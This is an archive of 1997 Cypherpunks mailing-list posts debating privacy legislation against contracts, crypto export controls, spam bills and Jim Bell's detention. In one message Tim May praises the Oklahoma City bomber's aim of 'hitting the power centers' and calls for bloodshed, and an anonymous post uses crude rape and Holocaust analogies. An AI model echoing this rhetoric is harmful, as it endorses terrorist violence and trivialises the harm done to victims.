>More  to the point of the Cypherpunks list--and this is something we talked
>about at the very first physical meeting, almost 5 years ago--it will
>become increasingly easy for the FCRA to be bypassed with offshore data
>havens. . . .

I know all these arguments. Some people said not to worry
about passage of the CDA since it couldn't be enforced.
Nice thought.  Fortunately, ACLU, EPIC, et al challenged
it in court.

>>I'd also appreciate some comment/criticism on
>>the piece I did for Wired. My point was that
>>in countries where there are legal rights to
>>privacy it will be easier for technologies of privacy
>>to flourish. I gave as examples the fact that PRZ
>>was nearly indicted in the US while David Chaum
>>was being applauded by the European Commission
>>for building anonymous payment schemes. The OECD
>>crypto policy drafting experience confirmed my
>>suspicion.
>
>I seldom read "Wired," so I didn't see this one. But the issues of Europe
>vs. the U.S. are notoriously complex. For every "Europe is better" point,
>such as not applying pressure to PRZ, there are the obvious counterpoints,
>such as Compuserve being prosecuted in Germany, the nearly full ban on
>crypto in France, the extradition of an American neo-Nazi publisher from
>Belgium to Germany, and so on.

I agree that there are real threats to cyber freedom in Europe.
I'm not saying otherwise. But my point is that anonymous remailers
and the like will have a better future in countries that recognize
a right of anonymity as opposed to those that don't.

>And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
>conclusions can be drawn one way or another.

Yeah, right. And the Euro countries are pushing just as hard for
key escrow as the US govt.

>
>Oh, and as for privacy in Europe, I'll remember how much they cherish
>privacy the next time I'm required to leave my passport with the hotel
>front desk (Europeans confirm that the police compile lists each night from
>said deposited passports). They were still doing this in 1983 when I spent
>6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
>as they had my credit card stuff for that.

Fine. And I almost got arrested two weeks ago (May 1997) walking out
of the Library of Congress cause I didn't want to fill out a form with
my name and the serial number of my computer.


>>Let me also try to explain how the simple-minded
>>First Amendment-privacy rights trade-off often
>>misses the point about privacy claims.  Consider
>>the article about Judge Bork's video viewing
>>habits back in 1987. Should Congress/the Courts
>>prevent City Paper from publishing the article?
>>Of course not. Could Congress/the Courts require
>>video record stores not to disclose customer
>>records without explict consent? You decide.
>
>The best solution is neither of these options: Video rental stores don't
>need True Names except to collect on unreturned tapes. (They might _like_
>True Names, or at least mailing addresses, for advertising reasons, but
>they don't _need_ them, and, like Radio Shack, will not make it a
>requirement for a transaction.)
>
>As with other such items, deposits work well here. My localvideo store does
>not require true names, so long as a sufficient deposit is left for each
>tape. Most persons use credit cards as the "return guaranty." Note also
>that credit cards need not be in the true name of anyone, via various
>options, much discussed on various lists.

I agree completely with this. I/EPIC have a strong preference for
anonymous transactions. And we've been fighting this one in DC
practically alone for a long time.

The question is what are you going to do with companies
that won't let you buy a product unless you provide
your True Name?

One of the consequences of legal obligations on companies
that collect personal information might be to encourage
more payment anonymous, psuedo-anonymous payment schemes.
Wouldn't that be a good result?


>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.
>
>I don't believe there should be such laws, obviously.
>
>And more importantly, strong crypto provides numerous monkeywrenchings of
>such laws.
>
>Pass a law requiring return addresses on all messages....the effect will be
>to move the spam sites offshore. Then what do you do?

I think I've answered this above. Yeah, you can always
break a law, and you don't have to move offshore to do it,
but laws still matter.
>
>(When EPIC and ACLU figure out the real implications of strong crypto, look
>for them to talk about "compromises" on access to strong crypto....hey,
>maybe SAFE is an indication they've started to realize what is coming.)

I'm not quite sure what this means, but if Tim knows any group
in DC that has fought harder for strong crypto, I'd like to
know who it is.

Marc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 08:46:46 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102806afb650b3d40d@[207.167.93.63]>
Message-ID: <v03102807afb671036b89@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:

>What examples do you have where privacy is included in
>a contractual arrangement?


- a lender agrees to transfer the information provided only to specified
parties, and not to the newspapers

- a stockbroker agrees that as a condition of becoming one's stockbroker he
won't release information to third parties without permission

- relationships between editors, publishing houses, journalists, etc.,
where work product is kept confidential unless otherwise agreed to be made
public

- attorney-client communications

(These and similar examples often have state-supported legalisms to "go
after" those who break the good faith and/or normative contracts for the
industry, but it is accurate to say that these examples are first and
foremost based on _contracts_. Indeed, in all of these cases there are
papers signed stipulating to a constellation of rights and privacy
expectations. And in some cases the rights are subsumed in "general
industry practices," including professional organizations. Thus, I expect
my stockbroker not to publicize my stock holdings, not because there is a
"privacy law" protecting me, but because of either a contract formally
specifying this, or because of industry standards....I freely admit I
haven't checked, nor do I even know how to (my account was established 22
years ago). Those who might argue that these examples are only made
possible because of _laws_ (e.g., SEC rules) are missing the role of
contracts, formal or based on self-regulation in an industry. My broker
knows just how long he'd remain a broker, let alone remain my broker, if he
violated my privacy expectations. Laws are not the point. Nor do laws
provide the robust protection private arrangements provide.)

- banking privacy, modulo the interference by IRS/FinCEN/etc.,

- employment relations, where employees have reasonable expectations that
personal data will not be released outside the company, and companies have
reasonable expectations that corporate secrets will be maintained. (I
signed such papers when I joined Intel, of course, and that contract was
more important for maintaining Intel's "privacy" than any "privacy laws."
Again, quibblers may cite the role of the courts in enforcing such
contracts, but the point remains that it was _contract law_ which was
involved, not "privacy laws" per se.)

And so on. I really don't feel like spending a lot of time making a laundry
list of cases where privacy is part of a mutually agreed upon transaction.

Idenity is just another credential in a transaction.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 06:43:47 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <1.5.4.32.19970531222304.00952bcc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky's right on Bell's undue incarceration. 

There's more to the story than tax avoidance. Declan 
perhaps should look beyond the government's citations of 
law to examine the other allegations of intent to harm 
federal officials which did not receive substantiating cites.

The affidavit which prompted Jim's arrest was a potpourri of 
disingenuous spleen and bile and unintentional humor.

This appears to be another instance of the USG patchworking 
public menace and phlegm (the Kallstrom syndrome) when it's 
in its self-preservative and -promotional interest to do so. 

As Tim and cie often note, the syndrome's fountainhead is DC 
and world centers of ambitious regulators, enforcers and
promoters for "public security." Which is fast replacing 
national security, via dual-use sleight of hand, as a career 
trajectory.

Counterterrorism is the fastest growing governmental subculture 
at the moment, and no longer aimed overseas. Secret laws,
courts and committees are burgeoning, anticipating that the
public cannot be trusted to protect itself against the enemy
within, ahem, the Beltway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:11:08 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199705312255.SAA26780@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:
> At 10:13 PM 5/30/97 -0700, Tim May wrote:
> >The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >anti-spam legislation, saying that what the legislators in Congress really
> >need to look into is how the spammers develop their data bases.....
> ...
> >Incredible. Does he propose investigations of private data gathering?
> 
> I'd agree here.  Rather than have Congress blindly pass a law, some
> investigation of the matter should be done first.  While I am not supporting a
> law, any such law should have three parts:

  I don't support a new Holocaust, but if we are going to build gas
chambers for killing Jews, they should be...
  When you are on a car lot "just looking" at the new models, the sales
person quickly gets you deciding on the color and other features that
you would want if you *did* purchase a car. You end up driving home in
a car you can't afford and with a vague feeling that the sales person 
might be the one who is responsible for all that legislation that keeps
getting passed for your benefit.

> For good or for bad, the current movement in lawmaking is to plug these
> loopholes that exist for email.

  Judging from the governments past success in plugging the "loopholes"
that allow people to exercise their right to Free Speech, I am certain
they will be able to "save" us from the incredible danger that spam
represents to our well-being.
 
> >Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.
> 
> Then you miss the point.  For all practical purposes, the spam industry does
> not exist in the US.
> The current
> spam bills are meant to address the actions of about five people in the entire
> United States.

  If the small number of people affected is the basis for justifying
the action taken on the issue, then we could just kill them. If you are
going to rob a bank, take *all* of the money. If you are going to rape
someone, then put it *all* the way in.
  {"Your honour, I would like to point out that my client only raped
five women, and he didn't even stick his schlong all the way in. That
hardly puts him in the same category as a *real* rapist.}

> The manner in which the information is collected is invasive.  People feel
> their privacy is being violated.  The right to be left alone is a fundamental
> right.

  Somebody forgot to tell the government. 

>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh@efga.org

  If you are in any way profiting from the EFG, whether monetarily or
by increased reputation capital, etc., then your post is an Unsolicited
Commercial Email. If not, then it is spam. I can say this with absolute
authority, because I am the person who decides which of my mail is spam
and which is not.
  Encryption businesses sometimes post announcements of new releases 
and the like on the cypherpunks list and I don't usually consider it to
be spam. DataETR posted an announcement on the list and then complained
mightily when cypherpunks asked serious questions about their product.
In my mind, that made their announcement just another commercial product
spam. Now that they have made an effort to actually participate in the
list by "listening" to the list members I no longer consider them to be
just another commercial spammer.

  A few list members who have a product or cause to push do so without
adding any real input to the list. In my mind, their posts are usually
as interesting as reading about how someone is making "BIG $$$" by
spamming me.
  Tom Weinstein, of Netscape, actually "participates" in the list by
discussing the pro's and con's of his product and others, and being
generally realistic about his company's product. If his posts were 
nothing more than claims about how Netscape would get those nasty stains
out of my shorts, then I would consider them spam.
  Jim Bell beat his "Assassination Politics" drum to the point where
he beat it to death and his posts became unwanted spam to some on the
list.

  I read privacy related announcements and the like from organizations
which are theoretically in alliance with the general aims of the list
and consider many of them to be useless spam.
  "XXXX Organization Fighting For Legislation That Only Fucks Over
Five People!"
  "YYYY Organization Supports Bill That Lets Government Cut Off One
Of Each Citizen's Fingers, Instead Of Two!"

  As far as I am concerned, any organization that is "fighting" for
"my" rights by getting involved in political lobbying/activism, etc.,
holds no interest for me as a cypherpunk. There is not a mother's son
among them who isn't soon knee-deep in self-serving "deals" and
"compromise."
  I don't participate in this list to read self-serving missives which
attempt to justify career activists' participation in the government's
dark comedy. If Bill Clinton posted his announcements in regard to
government crypto policy on the cypherpunks list, I would consider it
to be spam. If he sincerely solicited my opinion on the policies, then
he would be a list participant.

  There are some list members whose posts are so knee-jerk and 
unthinking that they amount to nothing more than an unsolicited 
commercial advertisement for their precious self-image. 
  Please! Don't fight for legislation to protect me from their posts.
I would be tempted to support legislation requiring certain list
members to put "BORING AND STUPID" in the Subject header, but then
I would probably be forced to put "CYNICAL AND PESSIMISTIC" in my
own Subject headers.

  My failure to include a donation to your organization with this
post is not an oversight.

C&P





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 1 Jun 1997 02:14:19 +0800
To: whgiii@amaranth.com
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <199705311800.TAA00253@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger <whgiii@amaranth.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes
> > [export via printing out on paper, and scanning via automated for pay
> >  email gateway]
> 
> Why bother with all of this. If you want to export crypto then just do it.
> As long as we keep up with this mickymouse approach to exports trying to
> appease the FEDs who are acting unconstitutionaly on this matter things
> will never change. Put up a web page or a ftp site with the crypto
> binaries and let whomever wishes to download them download them.

Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
that.

> I have done this and I will continue to do this dispite what the goons in
> DC have to say about it.
> 
> We must all hang together or we will all hang.

If you export it, and make a big deal of it advertising your web page
as widely as you can, and talk to newspapers about how you're
purposefully violating the export law, I'd predict you'd get a visit
from the Feds in a few days.  As long as you're low key, you're just
one of the hundreds getting away with it, and not worth the effort to
stop.

I think the key is to make fun of them, so that they loose
credibility.  They don't like being laughed at.

So Sun Microsystems did a real good job by getting stuff produced in
Russia.  Russia of all places, given the average US persons jingoistic
antagonism towards the "Commies".  Excellent.

So my proposal is aimed at being another stunt.  It might be
news-worthy (ie get reported on enough that it get discussed, and to
make the US government look exceedingly stupid).

And it's perfectly legal, so you can't be stopped.

If PGP Inc wants to mail out the latest version of PGP, they are
welcome to.

I mean come on, next thing, the providor of this service will be
offering web space too, so that US firms can link to their own
binaries which they exported themselves 100% legally.

Now all they need is some reseller agreements, or overseas sales
offices to export worldwide unrestricted, dumb laws or not.

It has been speculated that this change to the regulations might have
been due to Phil Karn's ploy of asking to export the source code disks
of the examples in Applied Crypto.  I think that is a cool
speculation.

Now we all know all the freeware and shareware crypto gets everywhere
anyway.  But no US companies are not exporting high grade crypto
generally, and US companies produce the lions share of application and
OS software.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 1 Jun 1997 08:17:49 +0800
To: root@fatmans.demon.co.uk (root)
Subject: Re: Censored pages
In-Reply-To: <Pine.LNX.3.91.970601003623.361A-100000@fatmans.demon.co.uk>
Message-ID: <199706010005.TAA00764@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


if it is not more than 500K, I can also host this stuff.

igor

root wrote:
> 
> 
> Message to prolife alliance, CCd to Cypherpunks list:
> 
> I noticed an article in .net a few days ago detailing how the prolife 
> alliance, a UK anti-abortion group, had been required to remove images of 
> aborted foetuses <sp?> from their web site. 
> 
> Clearly this is another incident of jackbooted motherfuckers censoring 
> images that happen to contradict their particular brand of thuggery. 
> 
> I am sending this message to the prolife alliance to ask them to send a 
> .zip or .tar`d file of their pages to me along with the censored images, 
> I am also of course CCing this to cypherpunks to see if anyone out there 
> not in the UK is also interested in mirroring these pages, if so send me 
> email, or send direct to prolife@enterprise.net, who will, hopefully, 
> provide us with a copy of these pages.
> 
> Note please cypherpunks that if there is any thread I do not wish to 
> start it is a pro/anti abortion thread, therefore, I am making no 
> judgements whatsoever, merely suggesting action to prevent censorship...
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:44:15 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705312314.TAA27646@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> > >   A major nail in the coffin of Justice for any accused in the U.S.
> > > was when the justice system promoted the concept of guilt by virtue
> > > of "circumstantial" evidence to the point where people can now be
> > > convicted as a result of speculation rather than evidence. Prosecutors
> > > now seem to need only to convince the sheeple that it was "possible"
> > > for the defendant to have commited the crime and that circumstantial
> > > evidence points *only* to the accused.
 
> I don't understand the animus against circumstantial evidence,
> frankly.  Some circumstantial evidence is extremely good evidence.

  The problem is the addition of a mountain of bullshit which is
presented as "evidence" in most prosecutions in order to throw
enough crap at the defendant to ensure that some of it will stick.
  For example, do we really need to have a forensic expert tell us
that a paramilitaristic individual (McVeigh) has traces of things
such as gunpowder, etc., in his clothing? This has about as much
meaning as producing "evidence" that McVeigh took a crap while
he was in custody to "prove" that he ate the food delivered to the
motel room in question.
  Do we need a series of people to bend over backwards to produce
evidence that a telephone calling card PIN number that could have
been used by anybody *might* have been used to place certain calls?

  Perhaps the above examples couldn't be used to support *real* 
evidence of McVeigh's guilt, but there seems to be precious little
of that. In contrast, there is even stronger evidence that precludes
McVeigh having been driving the truck used in the bombing.
  And what kind of "evidence" is a mountain of horrific examples
of dead bodies, etc? It is "evidence" that "somebody has to pay"
for the bombing. Would McVeigh be "innocent" if the prosecution
showed only *one* picture of dead bodies? 

  What we see in the justice system today is reflective of the same
mentality that pervades legal and social issues surrounding the
development, implementation and use of technologies which relate to
our privacy and freedom.
  The government "encryption prosecutors" use the same techniques
as criminal prosecutors to plead their case. They smear you and I
with the same brush used on drug dealers and child pornographers
so that use of cryptography is now "circumstantial evidence" of
our being guilty of "something." We are being prosecuted for use
of encryption on the basis of circumstantial evidence that someone,
somewhere is using cryptography and commiting crimes.

  I don't have any evidence that places Kent Crispin at the scene
of the OKC bombing, but we do know that use of PGP was involved
in the crime. Combined with Michael Fortier's testimony about
Kent's involvement, I think we can get a guilty verdict.

  As I said previously, the problem with circumstantial evidence is
that it is increasingly being combined with emotional rhetoric to
convict people who "could have" commited a certain crime, instead
of those "proven" to have commited the crime.
  I have no doubt that the government could replicate much of the
evidence against Jim Bell in a similar case against more than a
few cypherpunks, as well as producing even stronger evidence of
a similar nature in a full investigation of us. Anonymous and
Nobody would be in big, big trouble.
  In McVeigh's case, I wonder how many others the government 
could find similar or stronger evidence against in the OKC crime?
Regardless of the answer to that question, it is McVeigh who is
the one prosecutors are pointing at when they put up yet another
picture of dead bodies and say that "somebody has to pay" for
the crime.

TruthMonger
{Who has been proven to be Kent Crispin, by a plethora of
circumstantial evidence.}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 08:12:54 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <NyDL8D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
> If that was the extend of the story, Bell wouldn't still be in jail.  The
> USC violations above may be the official charge, but they hardly justify
> keeping somebody locked up without bail. Bell is still in jail because he
> wrote a politically incorrect essay and made the mistake of publishing it.
> Come to think of it, that makes him a political prisoner.

The only "political prisoners" are in the USSR and the like.
To imply that there can be "political prisoners" in the enlightened
United States of America constitutes Seditious Spam, a felony.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 08:16:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb643715b3a@[207.172.96.178]>
Message-ID: <v03007800afb6766f6f7f@[204.179.142.132]>
MIME-Version: 1.0
Content-Type: text/plain


>At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>
>>It's an interesting argument. I don't agree, though
>>you can certaintly try it. But more to the point of
>
>Oh, I don't intend to "try it." The Supreme Court is far past ever
>restoring basic constitutional rights. Instead of "trying it," better to
>monkeywrench it.

Don't give up on the Supremes. There was at least one good
decision this year that you should care about, Chandler v. Miller,
striking down the Georgia drug testing requirement for public
officials.  Justice Ginsburg said in an 8-1 opinion that there
was no "symbolic value" exception to the Fourth Amendment. It
was the first time the Court struck down a drug testing law.
And the case was brought by the Libertarian Party in Georgia.
Credit where credit is due.

>
>>your original post, is the information that TransUnion
>>sold to Lexis/Nexis for P-TRAK "public information"?
>>If yes, what is private information?
>
>It all depends on what was agreed to, tacitly or explicitly, in the process
>of applying for and accepting a credit card. I seem to recall "agreeing to"
>multiple pages of fine print about how and to whom information could be
>disclosed. That most of us ignore such fine print is our problem....I don't
>think there's been any allegation, even by you, Marc, that what Equifax is
>doing with credit information is breaking either the contract or any
>existing laws. You just want a new set of laws to do what contracts are
>perfectly capable of doing. Those who want protection of information
>disclosed to others should, of course, make such arrangements.

Sure, and the fine print could say that you waive your right
to vote, your first-born male child will be sold into slavery, etc.
Fortunately, the law doesn't permit this.

Btw, I didn't say Lexis/Nexis was breaking a law. I said
they were exploiting a loophole in a law, which is
exactly right.

>
>(And such arrangements are made all the time. Examples abound.)
>
>That such arrangements for a "privacy card" are not easy to make is not an
>issue for the law to meddle with. In fact, many of us think there's a
>market for just such a "privacy card," and, absent meddling by government,
>expect such a card to appear

Keep me posted. If legislation is threatening a good technical
solution, I'll be the first to blow the whistle.

>
>
>
>>I agree that there are real threats to cyber freedom in Europe.
>>I'm not saying otherwise. But my point is that anonymous remailers
>>and the like will have a better future in countries that recognize
>>a right of anonymity as opposed to those that don't.
>
>Despite my dislike of most of what passes for the American system, I'll
>take the protections of the First, augmented with the 1956 "anonymous
>leafletting" Supreme case, over the "ad hoc" protections nearly all
>Europeans have (or don't have).

The case is MacIntyre v. Ohio (1995), affirming Talley v. California
(1960). I agree that MacIntyre is very important. We keep citing
it in our arguments in support of techniques for anonymity. That's
another example of why law matters.


>>The question is what are you going to do with companies
>>that won't let you buy a product unless you provide
>>your True Name?
>
>The answer to this is both simple and profound. You have heard the answer
>many times, but you probably dismiss it as just libertarian rhetoric.
> . . .
>But I submit that the hypo of a company refusing to sell a product unless a
>True Name is given is unlikely in the extreme, and is not any kind of
>justification for a new set of so-called privacy laws which actually
>interfere with other basic rights.

What about web sites denying access without registration?

I'm not going to argue the adequacy of contract for resolving
privacy issues with you. I know you have a deep belief that
uncoerced market relations are the norm. I'll respect that.
But I have a different view. I don't want people exercising privacy
rights to be discriminated against. I don't want them to have
pay extortionate rates to protect their identity.

>>One of the consequences of legal obligations on companies
>>that collect personal information might be to encourage
>>more payment anonymous, psuedo-anonymous payment schemes.
>>Wouldn't that be a good result?
>
>If privacy is important to an agent, make it part of the contractual
>arrangement. Again, this is already done in a huge array of cases.

It's an interesting view. I could say, with probably more support:

"If privacy is important to an agent, make it part of the
statutory arrangement. Again, this is already done in a huge
array of cases." (Credit reports, bank records, video
rental records, cable subscriber records, telephone calls, etc)

What examples do you have where privacy is included in
a contractual arrangement?

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 11:41:46 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102807afb671036b89@[207.167.93.63]>
Message-ID: <v03102808afb696432bfa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:


>One of the biggest problems with libertarian theories is that
>they are descriptively flawed as applied in the real world. In
>practice, perfect markets rarely exist, laws do protect rights,
>and there are a lot of efficiencies -- economic, technological,
>and otherwise -- in promoting the highest level of safeguards
>across similar activities, e.g. you get into a car, you expect
>that the brakes will work. You don't express a negotiated
>preference for how much you want your brakes to work.

One of the biggest problems with critics of libertarian theories is that
they falsely claim libertarians believe that each and every action during
each and every day by each and every agent involves complex contracts.

What we are talking about here is whether there's a need for new laws to,
using your specific example, stop companies from asking for personal
information.

What libertarians, and hopefully other freedom-seeking people, would argue
is that government should not be interjected into mutual negotiations if at
all possible. This applies to Alice and Bob negotiating some transaction,
and it applies to Alice and Safeway, and to Safeway and Apple.

Citing the straw man that libertarians believe every driver must negotiate
a contract about how his brakes are to work has nothing to do with this
basic point.


>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

"A bunch of political rhetoric." This has been a waste of everyone's time.

As for the "rights of the people to use strong crypto," there are currently
no restrictions *whatsoever* on crypto use. SAFE will, of course, add a
criminalization angle to crypto use, which is a step in the wrong
direction. Once the Legislature gets its hands on crypto use at all, the
way is made easier for later extensions and clarifications of  the rules.
Imagine the equivalent situation with free speech or religion: "No American
may be denied access to the religious beliefs of his choosing, but the
practice of non-Christian religious acts in connection with another crime
will expose the pagan to a mandatory 5-year increase in imprisonment."

This is what SAFE's "crypto in a crime" provisions are equivalent to...like
making the speaking of Spanish a factor in criminal sentencing. "Congress
shall make no law" means just that.

A better tack is to take a rejectionist, no compromise stance toward any
proposed legislation which would in any way limit or criminalize crypto
use. Rely on the First Amendment.

This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of
course, but that is as it should be.

But, then, I quit the NRA because they were too namby pamby about the
Second Amendment. I place more faith in my assault rifles than I do in the
criminals in D.C. McVeigh may have killed too many innocents, looking back
on OKC, but he generally had the right idea about hitting the power centers
of the police state.

(Shocking sentiments to most of the sheeple, but Thomas Jefferson said as
much when he said the tree of liberty had to be watered with the blood of
tyrants and/or patriots every 20 or so years. It's been about 190 years too
long since we had a good watering.)

But this will be my last message to you, Marc, as I see no point in
continuing any dialog.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 12:09:49 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199706010352.UAA26328@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> 
> Sure it is unpleasant to have your privacy violated, but it is your own
> choice whether you allow information to become available or not.

  Theoretical bullshit. 
  Your choice is to not work, not go on welfare, not drive, not get a
telephone, not be born in a hospital...ad infinitum.
  Even then, when you are arrested for trespassing on private land or
misuse of public land for those grubs and worms you ate, the government
will take your fingerprints and attach an identity to them. When you
return to your cave, the postman will be waiting at the entrance to
deliver the "Worms R Us" snailmail spam.

>  All true law within anarchist, and indeed much minarchist belief derives 
> from the non agression principle, by making use of freely available 
> information about you I do not initiate violence against you, therefore I 
> am guilty of no crime.

  Everyone seems to neglect recognizing that most of the proclaimed
"freely available information" is the result of coercion of one kind
or another.
  "If you want a driver's license so that you can earn a decent
living, then you must give us your social security number so that
we can make sure that you get your fair share of junk mail and 
spam. If you drive without a license, men with guns will lock you
in a cage."

  Try dumping your garbage on other people's doorstep and telling
them that you haven't initiated violence against them and are thus
guilty of no crime. Sell "freely available" information about other
people's children to convicted child molesters and then explain the
same thing to the parents.
  Why don't the people who send out spam go out ringing people's
doorbells at 4 a.m. to tell them how to "Make Big $$$"?  It is
because they would be held personally accountable for the effect
their actions have on the lives of others. They can explain until
they are blue in the face about their right to be an asshole who
is intruding in my life but they are unlikely to convince me to
put up with it without acting in a manner they find offensive.

  I enjoy many of the posts on anarchy by Paul and others but I
think most of the concepts are valuable mainly as personal standards
one applies to their own life.
  You can explain to the guy who slashes your tires that you had
a right to ring his doorbell at 4 a.m. to try to sell him your
product but he had no right to slash your tires. You will be right,
but so what?
  If Tim McVeigh beats the rap and returns to society, I'm going to
buy him a computer and an email account and then give the address
to CyberPromo. I am sure he will understand the issues of anarchy
and free enterprise involved, and act in accordance with the
dictates of his own conscience.	

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 09:18:53 +0800
To: cypherpunks@toad.com
Subject: A New Law Could Take Care Of The Problem
Message-ID: <199706010100.VAA03089@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


* In a September statement, Joseph Sniezek, an official of the
Centers for Disease Control's National Center for Injury
Prevention, lamented the serious injuries suffered by rodeo bull
riders and suggested a solution might be to require helmets. 

  ...and seat belts?
  (When the law is passed to require this, don't be surprised if they
tack on requirements regarding the use of child-seats for those riders
who take the children along. And of course, if they have a copy of PGP
in their pocket when they ride without a helmet...}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 09:51:12 +0800
To: cypherpunks@toad.com
Subject: Summit on Cyber-Terrorism
Message-ID: <1.5.4.32.19970601012343.00968be4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


May 31, 1997, Asahi Evening News

Summit leaders to combat cyber-terrorism

World leaders will agree to take measures against a 
new high-tech element of terrorism--attacks on host 
computers--at the June 20-22 Denver summit, officials 
involved in the preparations said Friday. 

As part of countermeasures against cyber-terrorism, 
further joint efforts to control the spread of computer 
encryption technologies will be reaffirmed, they said. 

Concerns over terrorist attacks on computers and the 
need for heightened international efforts will be added 
to the 25 specific counterterrorism recommendations that 
Japan, the United States, Britain, Germany, Canada, 
Italy, France and Russia adopted at a ministerial meeting 
in Paris last July. 

-----

For full, brief article:

  http://jya.com/denver.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
